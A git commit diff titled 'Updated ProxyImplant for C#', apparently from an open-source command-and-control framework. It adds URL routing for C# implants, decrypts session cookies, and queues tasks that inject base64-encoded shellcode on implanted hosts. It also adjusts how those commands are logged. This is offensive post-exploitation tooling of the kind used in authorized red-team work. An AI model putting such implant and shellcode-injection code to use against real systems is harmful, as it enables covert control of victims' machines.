Updated ProxyImplant for C#

chunking
benpturner 2019-01-02 20:41:10 +00:00
parent b4f994e300
commit ea98e0ba94
4 changed files with 10 additions and 7 deletions

View File

@ -147,7 +147,9 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
implant_type = "OSX"
if s.path == ("%s?c" % new_implant_url):
implant_type = "C#"
if s.path == ("%s?p?c" % new_implant_url):
implant_type = "C#"
if implant_type == "C#":
cookieVal = (s.cookieHeader).replace("SessionID=","")
decCookie = decrypt(KEY, cookieVal)

View File

@ -559,7 +559,6 @@ def runcommand(command, randomuri):
if shellcodefile != None:
arch = "64"
new_task("run-exe Core.Program Core Inject-Shellcode %s%s" % (base64.b64encode(shellcodefile),params), randomuri)
new_task(command, randomuri)
except Exception as e:
print ("Error loading file: %s" % e)

File diff suppressed because one or more lines are too long

View File

@ -22,6 +22,8 @@ def newTask(path):
if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) :
print "Loading Shellcode",Colours.END
elif (command.lower().startswith("run-exe core.program core inject-shellcode")) :
print command[0:150]+"......TRUNCATED......"+command[-80:],Colours.END
elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) :
print "Loading Shellcode",Colours.END
elif "upload-file" in command.lower():